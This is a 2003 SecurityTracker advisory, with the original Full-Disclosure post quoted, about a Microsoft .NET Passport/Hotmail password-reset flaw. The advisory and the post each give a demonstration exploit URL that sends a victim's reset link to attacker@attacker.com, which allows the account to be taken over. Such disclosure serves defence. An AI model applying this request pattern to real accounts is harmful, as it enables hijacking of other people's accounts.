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Category:   Application (Security)  >   Passport Vendors:   Microsoft
Microsoft .NET Passport Passwords, Including Hotmail Passwords, Can Be Changed By Remote Users
SecurityTracker Alert ID:  1006728
SecurityTracker URL:  http://securitytracker.com/id/1006728
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Updated:  May 8 2003
Original Entry Date:  May 8 2003
Impact:   Modification of authentication information, User access via network
Exploit Included:  Yes  

Description:   A vulnerability was reported in Microsoft .NET Passport, also affecting Hotmail accounts. A remote user can change an arbitrary target user's password to an arbitrary value and then access the target user's account.

It is reported that a remote user can use the .NET Passport password reset form to request that an arbitrary user's password be changed.

A demonstration exploit is provided:

https://register.passport.net/emailpwdreset.srf?lc=1033&em=victim@hotmail.com&id=&cb=&prefem=attacker@attacker.com&rst=1

The remote user (attacker@attacker.com) will then receive an e-mail from the .NET Passport server providing a URL where the remote user can change the password. The form does not require the remote user to enter the previous password.

Hotmail accounts using .NET Passport authentication are affected. Other Passport-related accounts may or may not be affected.

The vendor has been notified.

[Editor's note: We have confirmed this vulnerability by changing the password of a Hotmail account.]

Impact:   A remote user can change an arbitrary user's password to an arbitrary value. The remote user can then access the target user's account.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.microsoft.com/technet/security/ (Links to External Site)
Cause:   Authentication error
Underlying OS:  

Message History:   None.


 Source Message Contents

Date:  Wed, 7 May 2003 19:50:51 -0700 (PDT)
Subject:  [Full-Disclosure] Hotmail & Passport (.NET Accounts) Vulnerability


Hotmail & Passport (.NET Accounts) Vulnerability

There is a very serious and stupid vulnerability or badcoding in Hotmail / Passport’s (.NET Accounts)

I tried sending emails several times to Hotmail / Passport contact addresses, but always met with the NLP bots.

I guess I don’t need to go in details of how cruical and important Hotmail / Passport’s .NET Account passport is to anyone.

You name it and they have it, E-Commerce, Credit Card processing, Personal Emails, Privacy Issues, Corporate Espionage, maybe stalkers
 and what not.

It is so simple that it is funny.

All you got to do is hit the following in your browser:

https://register.passport.net/emailpwdreset.srf?lc=1033&em=victim@hotmail.com&id=&cb=&prefem=attacker@attacker.com&rst=1

And you’ll get an email on attacker@attacker.com asking you to click on a url something like this:

http://register.passport.net/EmailPage.srf?EmailID=CD4DC30B34D9ABC6&URLNum=0&lc=1033

>From that url, you can reset the password and I don’t think I need to say anything more about it.

Vulnerability / Flaw discovered 	: 	12th April 2003
Vendor / Owner notified		:	Yes (as far as emailing them more than 10 times is concerned)


Regards
--------
Muhammad Faisal Rauf Danka

_____________________________________________________________
---------------------------
[ATTITUDEX.COM]
http://www.attitudex.com/
---------------------------

_____________________________________________________________
Select your own custom email address for FREE! Get you@yourchoice.com w/No Ads, 6MB, POP & more! http://www.everyone.net/selectmail?campaign=tag
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
 


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